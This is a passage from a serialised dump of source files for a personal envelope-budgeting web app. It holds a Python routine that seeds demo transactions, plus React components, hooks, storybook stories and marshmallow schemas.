ActiveBudgetModel(\n ledger_id=ledger.id,\n year=start.year,\n created=start,\n last_updated=start,\n )\n db.session.add(active)\n budget.active_budgets.append(active)\n\n if start.year != stop.year:\n active = ActiveBudgetModel(\n ledger_id=ledger.id,\n year=stop.year,\n created=start,\n last_updated=start,\n )\n db.session.add(active)\n budget.active_budgets.append(active)\n\n income = BudgetPeriodicIncomeModel(\n name=\"Income\",\n amount=216000,\n created=start,\n last_updated=start,\n )\n db.session.add(income)\n budget.periodic_incomes.append(income)\n\n def create_expense(name, amount, envelope=None):\n expense = BudgetPeriodicExpenseModel(\n envelope_id=envelopes[envelope or name.lower()].id,\n name=name,\n amount=amount,\n created=start,\n last_updated=start,\n )\n db.session.add(expense)\n budget.periodic_expenses.append(expense)\n\n create_expense(\"Rent\", 78322)\n create_expense(\"Utilities\", 10000)\n create_expense(\"Phone\", 6500, \"utilities\")\n create_expense(\"Gas\", 8000)\n create_expense(\"Maintenance\", 5000)\n create_expense(\"Groceries\", 40000)\n create_expense(\"Dining\", 40000)\n create_expense(\"Clothes\", 2000)\n create_expense(\"Entertainment\", 2000)\n\n @staticmethod\n def _create_transaction(\n ledger, recorded_date, amount, payee, cleared, account, envelope\n ): # pylint: disable=too-many-arguments\n \"\"\" Creates a simple transaction \"\"\"\n trn = TransactionModel(\n transaction_type=None,\n recorded_date=recorded_date,\n payee=payee,\n created=recorded_date,\n last_updated=recorded_date,\n )\n ledger.transactions.append(trn)\n\n acct_trn = AccountTransactionModel(\n amount=amount,\n memo=\"\",\n cleared=cleared,\n )\n account.transactions.append(acct_trn)\n trn.account_transactions.append(acct_trn)\n\n env_trn = EnvelopeTransactionModel(\n amount=amount,\n memo=\"\",\n )\n envelope.transactions.append(env_trn)\n trn.envelope_transactions.append(env_trn)\n\n trn.validate()\n db.session.add(trn)\n\n @staticmethod\n def _create_transfer_transaction(\n ledger, recorded_date, amount, payee, cleared, source, destination\n ): # pylint: disable=too-many-arguments\n \"\"\" Creates an account transfer transaction \"\"\"\n trn = TransactionModel(\n transaction_type=None,\n recorded_date=recorded_date,\n payee=payee,\n created=recorded_date,\n last_updated=recorded_date,\n )\n ledger.transactions.append(trn)\n\n acct_src_trn = AccountTransactionModel(\n amount=-amount,\n memo=\"\",\n cleared=cleared,\n )\n source.transactions.append(acct_src_trn)\n trn.account_transactions.append(acct_src_trn)\n\n acct_dest_trn = AccountTransactionModel(\n amount=amount,\n memo=\"\",\n cleared=cleared,\n )\n destination.transactions.append(acct_dest_trn)\n trn.account_transactions.append(acct_dest_trn)\n\n trn.validate()\n db.session.add(trn)\n\n @staticmethod\n def _create_allocation_transaction(\n ledger, recorded_date, amount, payee, source, destination\n ): # pylint: disable=too-many-arguments\n \"\"\" Creates an envelope allocation transaction \"\"\"\n trn = TransactionModel(\n transaction_type=None,\n recorded_date=recorded_date,\n payee=payee,\n created=recorded_date,\n last_updated=recorded_date,\n )\n ledger.transactions.append(trn)\n\n env_src_trn = EnvelopeTransactionModel(\n amount=-amount,\n memo=\"\",\n )\n source.transactions.append(env_src_trn)\n trn.envelope_transactions.append(env_src_trn)\n\n env_dest_trn = EnvelopeTransactionModel(\n amount=amount,\n memo=\"\",\n )\n destination.transactions.append(env_dest_trn)\n trn.envelope_transactions.append(env_dest_trn)\n\n trn.validate()\n db.session.add(trn)\n\n def _create_payday_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates payday transactions \"\"\"\n for friday in month[\"fridays\"]:\n self._create_transaction(\n ledger=ledger,\n recorded_date=friday,\n amount=5000,\n payee=\"Payday\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"savings\"],\n envelope=envelopes[\"unallocated\"],\n )\n self._create_transaction(\n ledger=ledger,\n recorded_date=friday,\n amount=49207,\n payee=\"Payday\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"checking\"],\n envelope=envelopes[\"unallocated\"],\n )\n\n def _create_transfer_transactions(self, ledger, month, accounts, _):\n \"\"\" Creates account transfer transactions \"\"\"\n self._create_transfer_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(day=22),\n amount=70000,\n payee=\"Credit Card Payment\",\n cleared=not month[\"is_last_month\"],\n source=accounts[\"checking\"],\n destination=accounts[\"credit\"],\n )\n\n def _create_allocation_transactions(self, ledger, month, _, envelopes):\n \"\"\" Creates envelope allocation transactions \"\"\"\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=78322,\n payee=\"Rent Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"rent\"],\n )\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=16500,\n payee=\"Utilities Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"utilities\"],\n )\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=8000,\n payee=\"Gas Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"gas\"],\n )\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=5000,\n payee=\"Maintenance Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"maintenance\"],\n )\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=40000,\n payee=\"Groceries Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"groceries\"],\n )\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=40000,\n payee=\"Dining Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"dining\"],\n )\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=2000,\n payee=\"Clothes Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"clothes\"],\n )\n self._create_allocation_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=2000,\n payee=\"Entertainment Budget\",\n source=envelopes[\"unallocated\"],\n destination=envelopes[\"entertainment\"],\n )\n\n def _create_rent_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates rent transactions \"\"\"\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"],\n amount=-78322,\n payee=\"Rent payment\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"checking\"],\n envelope=envelopes[\"rent\"],\n )\n\n def _create_utility_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates utility transactions \"\"\"\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(day=10),\n amount=-9846,\n payee=\"Electric and gas\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"checking\"],\n envelope=envelopes[\"utilities\"],\n )\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(day=random.randint(9, 11)),\n amount=-6378,\n payee=\"Phone\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"credit\"],\n envelope=envelopes[\"utilities\"],\n )\n\n def _create_gas_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates gas transactions \"\"\"\n for _ in range(random.randint(1, 3)):\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(\n day=random.randint(1, month[\"last\"].day)\n ),\n amount=random.randint(-2700, -1700),\n payee=\"Gas\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"credit\"],\n envelope=envelopes[\"gas\"],\n )\n\n def _create_maintenance_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates maintenance transactions \"\"\"\n if random.randint(1, 10) > 8:\n small = random.randint(1, 2) == 1\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(\n day=random.randint(1, month[\"last\"].day)\n ),\n amount=random.randint(-3000, -1500)\n if small\n else random.randint(-50000, -15000),\n payee=\"Mechanic (routine)\" if small else \"Mechanic (repair)\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"credit\"],\n envelope=envelopes[\"maintenance\"],\n )\n\n def _create_grocery_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates grocery transactions \"\"\"\n recorded_date = month[\"first\"] + timedelta(days=random.randint(0, 5))\n while recorded_date <= month[\"last\"]:\n self._create_transaction(\n ledger=ledger,\n recorded_date=recorded_date,\n amount=random.randint(-7000, -3000),\n payee=\"Grocer\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"credit\"],\n envelope=envelopes[\"groceries\"],\n )\n recorded_date = recorded_date + timedelta(days=random.randint(1, 5))\n\n def _create_dining_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates dining transactions \"\"\"\n recorded_date = month[\"first\"] + timedelta(days=random.randint(0, 3))\n while recorded_date <= month[\"last\"]:\n self._create_transaction(\n ledger=ledger,\n recorded_date=recorded_date,\n amount=random.randint(-10000, -700),\n payee=random.choice([\"Deli\", \"Restaurant\", \"Take-out\"]),\n cleared=not month[\"is_last_month\"],\n account=accounts[\"credit\"],\n envelope=envelopes[\"dining\"],\n )\n recorded_date = recorded_date + timedelta(days=random.randint(1, 3))\n\n def _create_clothing_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates clothing transactions \"\"\"\n if random.randint(1, 10) > 4:\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(\n day=random.randint(1, month[\"last\"].day)\n ),\n amount=random.randint(-4000, -2000),\n payee=\"Shopping mall\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"credit\"],\n envelope=envelopes[\"clothes\"],\n )\n\n def _create_entertainment_transactions(self, ledger, month, accounts, envelopes):\n \"\"\" Creates entertainment transactions \"\"\"\n if random.randint(1, 10) > 7:\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(\n day=random.randint(1, month[\"last\"].day)\n ),\n amount=random.randint(-1400, -1200),\n payee=\"Movie theater\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"credit\"],\n envelope=envelopes[\"entertainment\"],\n )\n self._create_transaction(\n ledger=ledger,\n recorded_date=month[\"first\"].replace(day=21),\n amount=-798,\n payee=\"Streaming subscription\",\n cleared=not month[\"is_last_month\"],\n account=accounts[\"checking\"],\n envelope=envelopes[\"entertainment\"],\n )\n" }, { "alpha_fraction": 0.7069767713546753, "alphanum_fraction": 0.7069767713546753, "avg_line_length": 38.09090805053711, "blob_id": "1a784da7e8d5d60205e6f2c3235e786b64269dd4", "content_id": "185062888f0cc9511678b1bdcbb766af183a334b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 430, "license_type": "permissive", "max_line_length": 89, "num_lines": 11, "path": "/webapp/src/features/budgets/hooks/useDeletePeriodicIncome.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\n\nexport default ({ budgetId }, opts) =>\n useMutation((id) => axios.delete(`/api/budget-periodic-incomes/${id}`), {\n createErrorMessage: useErrorMessage({ request: 'Unable to delete periodic income' }),\n refetchQueries: [['budget-periodic-incomes', { budgetId }]],\n ...opts,\n });\n" }, { "alpha_fraction": 0.7248227000236511, "alphanum_fraction": 0.7255319356918335, "avg_line_length": 33.39024353027344, "blob_id": "a2805fbd8ceb68d48cfe7a7877edd65839ccb617", "content_id": "42256a1edd5bb30bd3a66dd01bf55ce499ac7375", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1410, "license_type": "permissive", "max_line_length": 94, "num_lines": 41, "path": "/webapp/src/features/reconciliations/components/ReconciledTransactions.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import LinearProgress from '@material-ui/core/LinearProgress';\nimport Alert from '@material-ui/lab/Alert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport usePagination from 'common/hooks/usePagination';\nimport { Transactions } from 'features/transactions';\nimport useFetchReconciliationTransactions from '../hooks/useFetchReconciliationTransactions';\n\nconst ReconciledTransactions = ({ reconciliationId }) => {\n const { Pagination, paginationProps, page, size } = usePagination({\n label: 'Transactions per page',\n });\n\n const { data, error, isError, isFetching, isLoading } = useFetchReconciliationTransactions({\n id: reconciliationId,\n page,\n size,\n });\n const count = data ? data.total : 0;\n const transactions = data ? data.transactions : [];\n\n const createErrorMessage = useErrorMessage({ request: 'Unable to retrieve transactions' });\n const errorMessage = createErrorMessage(error);\n\n return (\n <>\n <Transactions loading={isLoading} transactions={transactions} />\n {isFetching && <LinearProgress />}\n {isError && <Alert severity='error'>{errorMessage}</Alert>}\n {count > size && <Pagination {...paginationProps} count={count} />}\n </>\n );\n};\n\nReconciledTransactions.propTypes = {\n reconciliationId: PropTypes.number.isRequired,\n};\n\nexport default ReconciledTransactions;\n" }, { "alpha_fraction": 0.7111111283302307, "alphanum_fraction": 0.7111111283302307, "avg_line_length": 44, "blob_id": "cf760e28c5ba50e4cd5e19b4ed737805c70ad473", "content_id": "68d316d6ab164c4c42444c68a5c86474c8056761", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 45, "license_type": "permissive", "max_line_length": 44, "num_lines": 1, "path": "/webapp/src/common/components/MoneyInputField/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './MoneyInputField';\n" }, { "alpha_fraction": 0.6349608898162842, "alphanum_fraction": 0.6349608898162842, "avg_line_length": 28.385093688964844, "blob_id": "79f0303c62c050b9e4903d047d61235b8d99981b", "content_id": "cd5b09170689112bd7d2e2f20100484529c82e83", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4731, "license_type": "permissive", "max_line_length": 97, "num_lines": 161, "path": "/webapp/src/common/components/FormDialog/FormDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Button from '@material-ui/core/Button';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport Dialog from '@material-ui/core/Dialog';\nimport DialogActions from '@material-ui/core/DialogActions';\nimport DialogContent from '@material-ui/core/DialogContent';\nimport DialogTitle from '@material-ui/core/DialogTitle';\nimport Slide from '@material-ui/core/Slide';\nimport { Form, Formik, useFormikContext } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useConfirm from '../../hooks/useConfirmation';\nimport useNavigateKeepingSearch from '../../hooks/useNavigateKeepingSearch';\nimport useMobile from '../../hooks/useMobile';\nimport FullScreenDialogTitle from '../FullScreenDialogTitle';\nimport SubmitButton from '../SubmitButton';\n\nconst Transition = React.forwardRef(function Transition(props, ref) {\n return <Slide direction='up' ref={ref} {...props} />;\n});\n\nconst Dirty = ({ onChange }) => {\n const { dirty } = useFormikContext();\n React.useEffect(() => onChange(dirty), [dirty]);\n return null;\n};\n\n/**\n * This dialog is opinionated about how it should work. It expects to be mounted\n * through a matched route, and will navigate away from that route in order to\n * close the dialog.\n */\nconst FormDialog = ({\n actionText,\n cancelConfirmText,\n cancelText,\n disableFullScreen,\n formProps,\n FormComponent,\n fullWidth,\n isLoading,\n maxWidth,\n onExit,\n onExitNavigateTo,\n onSubmit,\n title,\n ...props\n}) => {\n const confirm = useConfirm();\n const mobile = useMobile() && !disableFullScreen;\n const navigate = useNavigateKeepingSearch();\n\n const [isOpen, setIsOpen] = React.useState(true);\n const dirtyRef = React.useRef(false);\n\n const handleDirty = (dirty) => {\n dirtyRef.current = dirty;\n };\n const handleClose = () => {\n if (dirtyRef.current) {\n if (mobile) {\n confirm({\n confirmText: 'Yes',\n message: cancelConfirmText,\n rejectText: 'No',\n title: 'Cancel?',\n }).then(() => setIsOpen(false));\n // eslint-disable-next-line no-alert\n } else if (window.confirm(cancelConfirmText)) {\n setIsOpen(false);\n }\n } else {\n setIsOpen(false);\n }\n };\n const handleExited = onExit || (() => navigate(onExitNavigateTo));\n\n // Set some additional callbacks to allow for cleaning up the form/dialog\n const handleSubmit = (values, { resetForm, setSubmitting, ...formikBag }) =>\n onSubmit(values, {\n onSettled: () => setSubmitting(false),\n onSuccess: () => {\n resetForm();\n handleClose();\n },\n resetForm,\n setSubmitting,\n ...formikBag,\n });\n\n return (\n <Formik onSubmit={handleSubmit} {...props}>\n <Dialog\n fullScreen={mobile}\n fullWidth={fullWidth}\n maxWidth={maxWidth}\n open={isOpen}\n onClose={handleClose}\n onExited={handleExited}\n TransitionComponent={mobile ? Transition : undefined}\n >\n <Form>\n <Dirty onChange={handleDirty} />\n\n {!mobile && <DialogTitle>{title}</DialogTitle>}\n {mobile && (\n <FullScreenDialogTitle actionText={actionText} onClose={handleClose} title={title} />\n )}\n\n <DialogContent>\n {isLoading && (\n <div style={{ display: 'flex' }}>\n <CircularProgress style={{ margin: 'auto' }} />\n </div>\n )}\n {!isLoading && <FormComponent {...formProps} />}\n </DialogContent>\n\n {!mobile && !isLoading && (\n <DialogActions>\n <Button color='primary' onClick={handleClose}>\n {cancelText}\n </Button>\n <SubmitButton fullWidth={false} style={{}} text={actionText} variant='text' />\n </DialogActions>\n )}\n </Form>\n </Dialog>\n </Formik>\n );\n};\n\nFormDialog.propTypes = {\n actionText: PropTypes.string.isRequired,\n cancelConfirmText: PropTypes.string,\n cancelText: PropTypes.string,\n disableFullScreen: PropTypes.bool,\n formProps: PropTypes.shape({}),\n FormComponent: PropTypes.elementType.isRequired,\n fullWidth: PropTypes.bool,\n isLoading: PropTypes.bool,\n maxWidth: PropTypes.oneOf(['lg', 'md', 'sm', 'xl', 'xs', false]),\n onExit: PropTypes.func,\n onExitNavigateTo: PropTypes.string,\n onSubmit: PropTypes.func.isRequired,\n title: PropTypes.string.isRequired,\n};\n\nFormDialog.defaultProps = {\n cancelConfirmText: 'You have unsaved changes. Are you sure you wish to cancel?',\n cancelText: 'Cancel',\n disableFullScreen: false,\n formProps: null,\n fullWidth: false,\n isLoading: false,\n maxWidth: 'sm',\n onExit: null,\n onExitNavigateTo: '..',\n};\n\nexport default FormDialog;\n" }, { "alpha_fraction": 0.7701933979988098, "alphanum_fraction": 0.7713310718536377, "avg_line_length": 30.39285659790039, "blob_id": "eb960e6284d0e8ec9b0f3fe7339f2ce48b0efbd1", "content_id": "935fda2ba325d0948a1e092618809f86abffb381", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 879, "license_type": "permissive", "max_line_length": 65, "num_lines": 28, "path": "/webapp/src/features/transactions/components/__stories__/MobileTransactionsTable.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport MobileTransactionsTable from '../MobileTransactionsTable';\nimport * as fullStories from './FullTransactionsTable.stories';\n\nexport default {\n title: 'transactions/MobileTransactionsTable',\n component: MobileTransactionsTable,\n parameters: {\n viewport: { defaultViewport: 'mobile1' },\n },\n};\n\nconst Template = (args) => <MobileTransactionsTable {...args} />;\n\nexport const NoTransactions = Template.bind({});\n\nexport const OneTransaction = Template.bind({});\nOneTransaction.args = fullStories.OneTransaction.args;\n\nexport const SeveralTransactions = Template.bind({});\nSeveralTransactions.args = fullStories.SeveralTransactions.args;\n\nexport const ManyTransactions = Template.bind({});\nManyTransactions.args = fullStories.ManyTransactions.args;\n\nexport const HasCleared = Template.bind({});\nHasCleared.args = fullStories.HasCleared.args;\n" }, { "alpha_fraction": 0.6495176553726196, "alphanum_fraction": 0.6495176553726196, "avg_line_length": 24.91666603088379, "blob_id": "e1847ca313a5cc6d1dd9893c07a7644cc9ebc42b", "content_id": "efc098b1edfd2de277fa179b0723c84fd684abf0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 622, "license_type": "permissive", "max_line_length": 71, "num_lines": 24, "path": "/backend/underbudget/models/base.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Database model base and mixin classes \"\"\"\nfrom underbudget.database import db\n\n\nclass CrudModel:\n \"\"\" CRUD operations model \"\"\"\n\n def save(self):\n \"\"\" Persists changes to this model instance to the database \"\"\"\n db.session.add(self)\n db.session.commit()\n\n def delete(self):\n \"\"\" Deletes this model from the database \"\"\"\n db.session.delete(self)\n db.session.commit()\n\n\n# pylint: disable=too-few-public-methods\nclass AuditModel:\n \"\"\" Auditable model \"\"\"\n\n created = db.Column(db.DateTime, nullable=False)\n last_updated = db.Column(db.DateTime, nullable=False)\n" }, { "alpha_fraction": 0.675000011920929, "alphanum_fraction": 0.675000011920929, "avg_line_length": 39, "blob_id": "6eb23d6a4ca4153d512b8ca14842c6a91b2d3c6d", "content_id": "9a97241fa9698fb34863718a2b1cc103c93a4c80", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 40, "license_type": "permissive", "max_line_length": 39, "num_lines": 1, "path": "/webapp/src/common/components/FormDialog/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './FormDialog';\n" }, { "alpha_fraction": 0.6515913009643555, "alphanum_fraction": 0.6515913009643555, "avg_line_length": 20.321428298950195, "blob_id": "0fd12215e633ec2b44ffd38adb5959a48f3d51c8", "content_id": "775309b2ba0279e4a78a554b114ca773432607fe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 597, "license_type": "permissive", "max_line_length": 50, "num_lines": 28, "path": "/webapp/src/common/components/PureFab/PureFab.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AddIcon from '@material-ui/icons/Add';\nimport { action } from '@storybook/addon-actions';\nimport React from 'react';\n\nimport PureFab from './PureFab';\n\nexport default {\n title: 'common/PureFab',\n component: PureFab,\n};\n\nconst Template = (args) => <PureFab {...args} />;\n\nexport const PrimaryColor = Template.bind({});\nPrimaryColor.args = {\n action: {\n 'aria-label': 'add item',\n icon: <AddIcon />,\n onClick: action('click'),\n text: 'Add item',\n },\n};\n\nexport const SecondaryColor = Template.bind({});\nSecondaryColor.args = {\n ...PrimaryColor.args,\n color: 'secondary',\n};\n" }, { "alpha_fraction": 0.7010502815246582, "alphanum_fraction": 0.7089272141456604, "avg_line_length": 34.078948974609375, "blob_id": "9c850001473aa9d1e25660fa6a008ff0716f2379", "content_id": "bc4870bd1ce33af5a70464ddb990c49316bc4519", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2666, "license_type": "permissive", "max_line_length": 85, "num_lines": 76, "path": "/backend/underbudget/schemas/budget.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Budget schemas \"\"\"\nfrom marshmallow import Schema, fields, validate\n\n\nALLOWED_PERIODS = [1, 2, 3, 4, 6, 12, 24, 26, 52]\n\n\nclass BudgetSchema(Schema):\n \"\"\" Budget schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n name = fields.String(required=True, validate=validate.Length(min=1))\n periods = fields.Integer(required=True, validate=validate.OneOf(ALLOWED_PERIODS))\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass ActiveBudgetSchema(Schema):\n \"\"\" Active budget schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n budget_id = fields.Integer(data_key=\"budgetId\", required=True)\n name = fields.String(dump_only=True)\n year = fields.Integer(required=True)\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass PeriodicIncomeSchema(Schema):\n \"\"\" Budget periodic income schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n name = fields.String(required=True, validate=validate.Length(min=1))\n amount = fields.Integer(required=True, validate=validate.Range(min=1))\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass PeriodicExpenseSchema(Schema):\n \"\"\" Budget periodic expense schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n envelope_id = fields.Integer(data_key=\"envelopeId\", required=True)\n name = fields.String(required=True, validate=validate.Length(min=1))\n amount = fields.Integer(required=True, validate=validate.Range(min=1))\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass AnnualExpenseDetailSchema(Schema):\n \"\"\" Budget annual expense detail schema \"\"\"\n\n id = fields.Integer()\n name = fields.String(required=True)\n amount = fields.Integer(required=True, validate=validate.Range(min=0))\n\n\nclass AnnualExpenseSchema(Schema):\n \"\"\" Budget annual expense schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n envelope_id = fields.Integer(data_key=\"envelopeId\", required=True)\n name = fields.String(required=True, validate=validate.Length(min=1))\n amount = fields.Integer(required=True, validate=validate.Range(min=0))\n details = fields.List(\n fields.Nested(AnnualExpenseDetailSchema),\n missing=[],\n )\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass CopyBudgetSchema(Schema):\n \"\"\" Copy-budget request schema \"\"\"\n\n orig_id = fields.Integer(required=True, data_key=\"origId\")\n" }, { "alpha_fraction": 0.557851254940033, "alphanum_fraction": 0.563360869884491, "avg_line_length": 25.560976028442383, "blob_id": "b5dc976a2d34cb4f51e6f7c1ec1f2fe317fc599e", "content_id": "caee852fbe828c7b0dbb1b8977b065f1ce4043a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2178, "license_type": "permissive", "max_line_length": 76, "num_lines": 82, "path": "/webapp/src/features/reconciliations/components/ReconciliationParameters.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Grid from '@material-ui/core/Grid';\nimport { Field } from 'formik';\nimport { DatePicker, KeyboardDatePicker } from 'formik-material-ui-pickers';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport MoneyInputField from 'common/components/MoneyInputField';\nimport useMobile from 'common/hooks/useMobile';\n\nconst ReconciliationParameters = ({ disabled }) => {\n const mobile = useMobile();\n const DatePickerComponent = mobile ? DatePicker : KeyboardDatePicker;\n\n return (\n <>\n <Grid item sm={6} xs={12}>\n <Field\n autoOk\n component={DatePickerComponent}\n disabled={disabled}\n disableToolbar\n format='yyyy-MM-DD'\n fullWidth\n id='beginning-date'\n inputVariant='outlined'\n label='Beginning Date'\n margin='dense'\n name='beginningDate'\n required\n variant={mobile ? 'dialog' : 'inline'}\n />\n </Grid>\n <Grid item sm={6} xs={12}>\n <Field\n component={MoneyInputField}\n disabled={disabled}\n fullWidth\n id='beginning-balance'\n label='Beginning Balance'\n margin='dense'\n name='beginningBalance'\n variant='outlined'\n />\n </Grid>\n <Grid item sm={6} xs={12}>\n <Field\n autoOk\n component={DatePickerComponent}\n disabled={disabled}\n disableToolbar\n format='yyyy-MM-DD'\n fullWidth\n id='ending-date'\n inputVariant='outlined'\n label='Ending Date'\n margin='dense'\n name='endingDate'\n required\n variant={mobile ? 'dialog' : 'inline'}\n />\n </Grid>\n <Grid item sm={6} xs={12}>\n <Field\n component={MoneyInputField}\n disabled={disabled}\n fullWidth\n id='ending-balance'\n label='Ending Balance'\n margin='dense'\n name='endingBalance'\n variant='outlined'\n />\n </Grid>\n </>\n );\n};\n\nReconciliationParameters.propTypes = {\n disabled: PropTypes.bool.isRequired,\n};\n\nexport default ReconciliationParameters;\n" }, { "alpha_fraction": 0.6183868050575256, "alphanum_fraction": 0.6183868050575256, "avg_line_length": 21.60784339904785, "blob_id": "6b5abbc621e24778481f27f677c8e75978d36d5a", "content_id": "3acb2438869368604be531ace419ad73b14e3221", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1153, "license_type": "permissive", "max_line_length": 75, "num_lines": 51, "path": "/webapp/src/features/ledgers/components/LedgerForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import currency from 'currency-codes';\nimport { Field } from 'formik';\nimport { TextField } from 'formik-material-ui';\nimport React from 'react';\nimport * as yup from 'yup';\n\nimport CurrencyInputField from 'common/components/CurrencyInputField';\n\nconst LedgerForm = () => (\n <>\n <Field\n autoFocus\n component={TextField}\n id='ledger-name'\n fullWidth\n label='Name'\n margin='normal'\n name='name'\n placeholder='My ledger'\n required\n variant='outlined'\n />\n <Field\n autoCompleteProps={{\n fullWidth: false,\n }}\n component={CurrencyInputField}\n fullWidth={false}\n helperText='Currency for all accounts and transactions in the ledger'\n id='ledger-currency'\n label='Currency'\n margin='normal'\n name='currency'\n required\n variant='outlined'\n />\n </>\n);\n\nLedgerForm.validationSchema = yup.object().shape({\n name: yup.string().required('Required'),\n currency: yup\n .number()\n .oneOf(\n currency.numbers().map((n) => Number(n)),\n 'Must be a valid currency',\n )\n .required('Required'),\n});\n\nexport default LedgerForm;\n" }, { "alpha_fraction": 0.5933669805526733, "alphanum_fraction": 0.6020187735557556, "avg_line_length": 24.218181610107422, "blob_id": "8cdd4ed40eddc47975d2c3b5ac1ac4da6d973a56", "content_id": "38ab4126d94971a4c413f31bfd37b683cd9a5f85", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1387, "license_type": "permissive", "max_line_length": 86, "num_lines": 55, "path": "/webapp/src/common/components/CurrencyInputField/CurrencyInputField.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Field, Formik } from 'formik';\nimport { TextField } from 'formik-material-ui';\nimport React from 'react';\n\nimport CurrencyInputField from './CurrencyInputField';\n\nexport default {\n title: 'common/CurrencyInputField',\n component: CurrencyInputField,\n};\n\nexport const 